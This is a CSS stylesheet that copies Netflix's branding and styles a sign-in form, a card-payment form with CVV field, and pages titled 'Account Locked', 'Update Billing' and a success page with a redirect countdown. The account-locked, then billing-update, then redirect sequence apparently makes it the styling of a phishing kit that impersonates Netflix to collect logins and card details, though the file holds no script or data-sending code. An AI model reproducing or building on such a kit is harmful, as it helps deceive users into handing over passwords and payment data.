* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    background-color: #ffffff;
    color: #333;
    line-height: 1.4;
}

.header {
    border-bottom: 1px solid #e6e6e6;
    padding: 20px 0;
}

.header-content {
    max-width: 1200px;
    margin: 0 auto;
    padding: 0 20px;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.netflix-logo {
    width: 134px;
    height: 36px;
    fill: #e50914;
}

.sign-out {
    color: #333;
    text-decoration: none;
    font-size: 16px;
    font-weight: 400;
}

.sign-out:hover {
    text-decoration: underline;
}

.main-content {
    max-width: 440px;
    margin: 0 auto;
    padding: 40px 20px;
}

.breadcrumb {
    margin-bottom: 20px;
}

.breadcrumb a {
    color: #0073e6;
    text-decoration: none;
    font-size: 16px;
}

.breadcrumb a::before {
    content: "< ";
    margin-right: 5px;
}

.breadcrumb a:hover {
    text-decoration: underline;
}

.step-info {
    color: #737373;
    font-size: 13px;
    margin-bottom: 10px;
}

.page-title {
    font-size: 32px;
    font-weight: 700;
    margin-bottom: 30px;
    color: #333;
}

.card-types {
    display: flex;
    gap: 8px;
    margin-bottom: 20px;
}

.card-types img {
    height: 20px;
}

.form-group {
    margin-bottom: 16px;
}

.form-row {
    display: flex;
    gap: 12px;
}

.form-row .form-group {
    flex: 1;
}

.date-cvv-section {
    margin-bottom: 8px;
}

.date-cvv-section .form-row:last-child {
    margin-top: 4px;
}

.form-control {
    width: 100%;
    height: 56px;
    border: 1px solid #8c8c8c;
    border-radius: 4px;
    padding: 24px 16px 8px 16px;
    font-size: 16px;
    background-color: #fff;
    transition: all 0.2s ease;
}

.form-control:focus {
    outline: none;
    border-color: #8c8c8c;
}

.form-control::placeholder {
    color: transparent;
}

.input-wrapper {
    position: relative;
    margin-bottom: 8px;
}

.floating-label {
    position: absolute;
    left: 16px;
    top: 50%;
    transform: translateY(-50%);
    font-size: 16px;
    color: #8c8c8c;
    pointer-events: none;
    transition: all 0.2s ease;
    background-color: #fff;
    padding: 0 4px;
}

.form-control:focus + .floating-label,
.form-control.has-value + .floating-label,
.form-control:not(:placeholder-shown) + .floating-label {
    top: 12px;
    transform: translateY(-50%);
    font-size: 12px;
    color: #8c8c8c;
}

.form-control.has-value + .floating-label {
    color: #8c8c8c;
}

.error-message {
    color: #e50914;
    font-size: 13px;
    margin-top: 4px;
    display: none;
    align-items: center;
    gap: 6px;
}

.error-message.show {
    display: flex;
}

.error-icon {
    width: 12px;
    height: 12px;
    color: #e50914;
    flex-shrink: 0;
}

.form-control.error {
    border-color: #e50914;
}

.form-control.error + .floating-label {
    color: #e50914;
}

.form-control.valid {
    border-color: #228b22;
}

.card-number-wrapper {
    position: relative;
    margin-bottom: 8px;
}

.card-icon {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    width: 32px;
    height: 20px;
    color: #8c8c8c;
    pointer-events: none;
    background-size: contain;
    background-repeat: no-repeat;
    background-position: center;
}

.card-icon.default-card {
    width: 24px;
    height: 24px;
}

.card-icon.visa-card {
    background-image: url('VISA.png');
}

.card-icon.mastercard-card {
    background-image: url('MASTERCARD.png');
}

.card-icon.amex-card {
    background-image: url('AMEX.png');
}

/* Retina display support */
@media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) {
    .card-icon.visa-card {
        background-image: url('VISA@2x.png');
    }
    
    .card-icon.mastercard-card {
        background-image: url('MASTERCARD@2x.png');
    }
    
    .card-icon.amex-card {
        background-image: url('AMEX@2x.png');
    }
}

.cvv-info {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    width: 24px;
    height: 24px;
    color: #8c8c8c;
    cursor: help;
}

.optional-label {
    color: #8c8c8c;
    font-size: 12px;
    margin-left: 4px;
}

.pricing-info, .info-section {
    background-color: #f3f3f3;
    padding: 16px;
    border-radius: 4px;
    margin: 24px 0;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.pricing-text, .info-text {
    font-size: 16px;
    color: #333;
}

.pricing-amount, .info-amount {
    font-weight: 700;
}

.change-link {
    color: #0073e6;
    text-decoration: none;
    font-size: 16px;
}

.change-link:hover {
    text-decoration: underline;
}

.disclaimer {
    font-size: 13px;
    color: #737373;
    margin: 16px 0;
    line-height: 1.4;
}

.disclaimer a {
    color: #0073e6;
    text-decoration: none;
}

.disclaimer a:hover {
    text-decoration: underline;
}

.checkbox-wrapper {
    display: flex;
    align-items: flex-start;
    gap: 8px;
    margin: 24px 0;
}

.checkbox {
    width: 16px;
    height: 16px;
    margin-top: 2px;
}

.checkbox-label {
    font-size: 13px;
    color: #333;
}

.start-button, .continue-button {
    width: 100%;
    height: 44px;
    background-color: #e50914;
    color: white;
    border: none;
    border-radius: 6px;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    margin: 16px 0 8px 0;
    text-decoration: none;
    display: inline-block;
    text-align: center;
    line-height: 44px;
    transition: background-color 0.2s ease;
}

.start-button:hover, .continue-button:hover {
    background-color: #f40612;
}

.start-button:disabled, .continue-button:disabled {
    background-color: #ccc;
    cursor: not-allowed;
}

.recaptcha-notice {
    font-size: 11px;
    color: #737373;
    margin-bottom: 8px;
}

.recaptcha-notice a {
    color: #0073e6;
    text-decoration: none;
}

.security-notice {
    font-size: 12px;
    color: #888;
    text-align: center;
    margin-top: 12px;
    line-height: 1.3;
    padding: 8px 0;
}

.security-notice a {
    color: #0073e6;
    text-decoration: none;
}

.security-notice a:hover {
    text-decoration: underline;
}

.footer {
    border-top: 1px solid #e6e6e6;
    background-color: #f3f3f3;
    padding: 30px 0;
    margin-top: 60px;
}

.footer-content {
    max-width: 1200px;
    margin: 0 auto;
    padding: 0 20px;
}

.footer-contact {
    color: #737373;
    font-size: 13px;
    margin-bottom: 20px;
}

.footer-contact a {
    color: #737373;
    text-decoration: none;
}

.footer-contact a:hover {
    text-decoration: underline;
}

.footer-links {
    display: flex;
    flex-wrap: wrap;
    gap: 0;
    margin-bottom: 20px;
}

.footer-links a {
    color: #737373;
    text-decoration: none;
    font-size: 13px;
    margin-right: 30px;
    margin-bottom: 10px;
    display: inline-block;
}

.footer-links a:hover {
    text-decoration: underline;
}

.language-selector {
    margin-top: 20px;
    margin-bottom: 20px;
}

.language-select {
    background-color: transparent;
    border: 1px solid #737373;
    color: #737373;
    padding: 8px 12px;
    font-size: 13px;
    border-radius: 4px;
}

.footer-country {
    color: #737373;
    font-size: 13px;
}

.visa-icon, .mastercard-icon, .amex-icon {
    width: 32px;
    height: 20px;
    background-size: contain;
    background-repeat: no-repeat;
    display: inline-block;
}

.visa-icon {
    background-image: url('../assets/images/VISA.png');
}

.mastercard-icon {
    background-image: url('../assets/images/MASTERCARD.png');
}

.amex-icon {
    background-image: url('../assets/images/AMEX.png');
}

/* Account Locked Page */
.locked-container {
    max-width: 400px;
    margin: 20px auto;
    padding: 30px;
    text-align: center;
}

.locked-icon {
    margin-bottom: 20px;
    display: flex;
    justify-content: center;
}

.locked-icon img {
    max-width: 60px;
    height: auto;
    opacity: 0.7;
}

.locked-title {
    font-size: 24px;
    font-weight: 600;
    color: #333;
    margin-bottom: 16px;
    line-height: 1.2;
}

.locked-message {
    margin-bottom: 24px;
    text-align: center;
}

.locked-message p {
    font-size: 14px;
    color: #666;
    line-height: 1.4;
    margin-bottom: 8px;
}

.locked-message p:last-child {
    margin-bottom: 0;
}

.locked-steps {
    margin-bottom: 24px;
    text-align: left;
    background: #fff;
    padding: 24px;
    border-radius: 12px;
    box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
    border: 1px solid #e6e6e6;
    border-left: 4px solid #e50914;
}

.locked-steps h2 {
    font-size: 16px;
    font-weight: 600;
    margin-bottom: 12px;
    color: #333;
    text-align: left;
}

.locked-action {
    margin-bottom: 16px;
}

/* Update Billing Page */
.billing-container {
    max-width: 400px;
    margin: 20px auto;
    padding: 30px;
    text-align: center;
}

.billing-icon {
    margin-bottom: 20px;
    display: flex;
    justify-content: center;
    color: #e50914;
}

.billing-icon svg {
    max-width: 60px;
    height: auto;
    opacity: 0.8;
}

.billing-title {
    font-size: 24px;
    font-weight: 600;
    color: #333;
    margin-bottom: 16px;
    line-height: 1.2;
}

.billing-message {
    margin-bottom: 24px;
    text-align: center;
}

.billing-message p {
    font-size: 14px;
    color: #666;
    line-height: 1.4;
    margin-bottom: 8px;
}

.billing-message p:last-child {
    margin-bottom: 0;
}

.billing-steps {
    margin-bottom: 24px;
    text-align: left;
    background: #fff;
    padding: 24px;
    border-radius: 12px;
    box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
    border: 1px solid #e6e6e6;
    border-left: 4px solid #e50914;
}

.billing-steps h2 {
    font-size: 16px;
    font-weight: 600;
    margin-bottom: 12px;
    color: #333;
    text-align: left;
}

.steps-list {
    list-style: none;
    counter-reset: step-counter;
    padding: 0;
    margin: 0;
}

.steps-list li {
    counter-increment: step-counter;
    position: relative;
    padding: 8px 0 8px 28px;
    color: #555;
    font-size: 13px;
    line-height: 1.3;
    border-bottom: 1px solid #e9ecef;
}

.steps-list li:last-child {
    border-bottom: none;
    padding-bottom: 0;
}

.steps-list li::before {
    content: counter(step-counter);
    position: absolute;
    left: 0;
    top: 8px;
    width: 20px;
    height: 20px;
    background-color: #e50914;
    color: white;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 11px;
    font-weight: 600;
}

.billing-action {
    margin-bottom: 16px;
}

/* Success Page */
.success-container {
    max-width: 400px;
    margin: 20px auto;
    padding: 30px;
    text-align: center;
}

.success-icon {
    margin-bottom: 20px;
    display: flex;
    justify-content: center;
    color: #28a745;
}

.success-icon svg {
    max-width: 60px;
    height: auto;
    opacity: 0.8;
}

.success-title {
    font-size: 24px;
    font-weight: 600;
    color: #333;
    margin-bottom: 16px;
    line-height: 1.2;
}

.success-message {
    margin-bottom: 24px;
    text-align: center;
}

.success-message p {
    font-size: 14px;
    color: #666;
    line-height: 1.4;
    margin-bottom: 8px;
}

.success-message p:last-child {
    margin-bottom: 0;
}

.success-steps {
    margin-bottom: 24px;
    text-align: left;
    background: #fff;
    padding: 24px;
    border-radius: 12px;
    box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
    border: 1px solid #e6e6e6;
    border-left: 4px solid #28a745;
}

.success-steps h2 {
    font-size: 16px;
    font-weight: 600;
    margin-bottom: 12px;
    color: #333;
    text-align: left;
}

.success-action {
    margin-bottom: 16px;
}

.redirect-notice {
    margin-bottom: 20px;
    text-align: center;
}

.redirect-notice p {
    font-size: 14px;
    color: #28a745;
    font-weight: 500;
    background-color: #d4edda;
    border: 1px solid #c3e6cb;
    border-radius: 6px;
    padding: 12px;
    margin: 0;
}

.redirect-notice #countdown {
    font-weight: 700;
    color: #155724;
}

/* Login Page Styles */
.main-container {
    min-height: 100vh;
    background: linear-gradient(to bottom, rgba(0,0,0,0.75), rgba(0,0,0,0.75)), url('https://assets.nflxext.com/ffe/siteui/vlv3/ac824598-245b-4828-b14f-5cff9074f4d0/85753c78-c2f7-4711-be80-ad3ddc68fc90/IN-en-20220822-popsignuptwoweeks-perspective_alpha_website_large.jpg');
    background-size: cover;
    background-position: center;
    background-repeat: no-repeat;
}

.dark-layer {
    min-height: 100vh;
    background: rgba(0, 0, 0, 0.4);
    display: flex;
    flex-direction: column;
}

.header {
    padding: 20px 50px;
}

.header .netflix-logo {
    width: 167px;
    height: 45px;
    fill: #e50914;
}

.login-container {
    flex: 1;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
}

.login-form {
    background: rgba(0, 0, 0, 0.75);
    padding: 60px 68px 40px;
    border-radius: 4px;
    max-width: 450px;
    width: 100%;
}

.form-title {
    color: white;
    font-size: 32px;
    font-weight: 700;
    margin-bottom: 28px;
}

.input-wrapper {
    position: relative;
    margin-bottom: 16px;
}

.login-form .form-control {
    width: 100%;
    height: 50px;
    background: #333;
    border: 1px solid #333;
    border-radius: 4px;
    color: white;
    font-size: 16px;
    padding: 16px 20px 0;
}

.login-form .form-control:focus {
    background: #454545;
    border-color: white;
    outline: none;
}

.login-form .floating-label {
    position: absolute;
    left: 20px;
    top: 50%;
    transform: translateY(-50%);
    color: #8c8c8c;
    font-size: 16px;
    transition: all 0.2s ease;
    pointer-events: none;
}

.login-form .form-control:focus + .floating-label,
.login-form .form-control:not(:placeholder-shown) + .floating-label {
    top: 10px;
    transform: translateY(0);
    font-size: 11px;
}

.login-form .form-control.error {
    border-color: #e87c03;
    background: #ffd2a7;
}

.login-form .form-control.error + .floating-label {
    color: #e87c03;
}

.login-form .error-message {
    color: #e87c03;
    font-size: 13px;
    margin-top: 4px;
    display: none;
    line-height: 1.4;
}

.signin-button {
    width: 100%;
    height: 48px;
    background: #e50914;
    color: white;
    border: none;
    border-radius: 4px;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
    margin: 24px 0 12px;
    transition: background-color 0.2s ease;
}

.signin-button:hover {
    background: #f40612;
}

.signin-button:disabled {
    background: #b3b3b3;
    cursor: not-allowed;
}

.divider {
    text-align: center;
    margin: 20px 0;
    position: relative;
}

.divider span {
    color: #b3b3b3;
    background: rgba(0, 0, 0, 0.75);
    padding: 0 16px;
    font-size: 16px;
}

.divider::before {
    content: '';
    position: absolute;
    top: 50%;
    left: 0;
    right: 0;
    height: 1px;
    background: #333;
}

.signin-code-button {
    width: 100%;
    height: 48px;
    background: rgba(128, 128, 128, 0.4);
    color: white;
    border: none;
    border-radius: 4px;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
    margin-bottom: 20px;
    transition: background-color 0.2s ease;
}

.signin-code-button:hover {
    background: rgba(128, 128, 128, 0.7);
}

.forgot-password {
    text-align: center;
    margin: 20px 0;
}

.forgot-password a {
    color: white;
    text-decoration: none;
    font-size: 16px;
}

.forgot-password a:hover {
    text-decoration: underline;
}

.remember-me {
    margin: 20px 0;
    display: flex;
    align-items: center;
}

.remember-me input[type="checkbox"] {
    width: 16px;
    height: 16px;
    margin-right: 8px;
}

.remember-me label {
    color: #b3b3b3;
    font-size: 13px;
    cursor: pointer;
}

.signup-link {
    margin: 16px 0;
}

.signup-link p {
    color: #737373;
    font-size: 16px;
    margin: 0;
}

.signup-link a {
    color: white;
    text-decoration: none;
}

.signup-link a:hover {
    text-decoration: underline;
}

.login-form .recaptcha-notice {
    margin-top: 20px;
}

.login-form .recaptcha-notice p {
    color: #737373;
    font-size: 11px;
    line-height: 1.4;
    margin: 0;
}

.login-form .recaptcha-notice a {
    color: #0071eb;
    text-decoration: none;
}

.login-form .recaptcha-notice a:hover {
    text-decoration: underline;
}

/* Login Footer */
.main-container .footer {
    background: rgba(0, 0, 0, 0.75);
    border-top: 1px solid #333;
    padding: 30px 50px;
    margin-top: auto;
}

.main-container .footer-content {
    max-width: 1000px;
    margin: 0 auto;
}

.main-container .footer-contact {
    color: #737373;
    font-size: 16px;
    margin-bottom: 30px;
}

.main-container .footer-contact a {
    color: #737373;
    text-decoration: none;
}

.main-container .footer-links {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    gap: 12px;
    margin-bottom: 30px;
}

.main-container .footer-links a {
    color: #737373;
    text-decoration: none;
    font-size: 13px;
}

.main-container .footer-links a:hover {
    text-decoration: underline;
}

.main-container .language-select {
    background: transparent;
    border: 1px solid #737373;
    color: #737373;
    padding: 8px 12px;
    font-size: 13px;
    border-radius: 2px;
}

/* Responsive Design */
@media (max-width: 740px) {
    .header {
        padding: 20px 5%;
    }
    
    .header .netflix-logo {
        width: 100px;
        height: 27px;
    }
    
    .login-form {
        padding: 48px 32px;
        background: black;
    }
    
    .main-container .footer {
        padding: 30px 5%;
    }
    
    .main-container .footer-links {
        grid-template-columns: repeat(3, 1fr);
    }
}

@media (max-width: 550px) {
    .login-form {
        padding: 40px 24px;
    }
    
    .form-title {
        font-size: 28px;
    }
    
    .main-container .footer-links {
        grid-template-columns: repeat(2, 1fr);
    }
}

/* Retina display support for card type icons */
@media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) {
    .visa-icon {
        background-image: url('../assets/images/VISA@2x.png');
    }
    
    .mastercard-icon {
        background-image: url('../assets/images/MASTERCARD@2x.png');
    }
    
    .amex-icon {
        background-image: url('../assets/images/AMEX@2x.png');
    }
}

@media (max-width: 740px) {
    .footer-links a {
        margin-right: 20px;
    }
}

@media (max-width: 550px) {
    .footer-links a {
        margin-right: 15px;
        font-size: 12px;
    }
}

/* Clean Loading Screen */
.loading-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100vh;
    background: #ffffff;
    z-index: 999999;
    display: flex;
    justify-content: center;
    align-items: center;
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
}

.loading-content {
    text-align: center;
    padding: 40px;
}

.loading-spinner {
    border: 3px solid #f0f0f0;
    border-top: 3px solid #e50914;
    border-radius: 50%;
    width: 60px;
    height: 60px;
    animation: spin 0.8s linear infinite;
    margin: 0 auto 24px;
}

.loading-text {
    margin: 0;
    font-size: 18px;
    font-weight: 400;
    color: #333;
    letter-spacing: 0.5px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
} 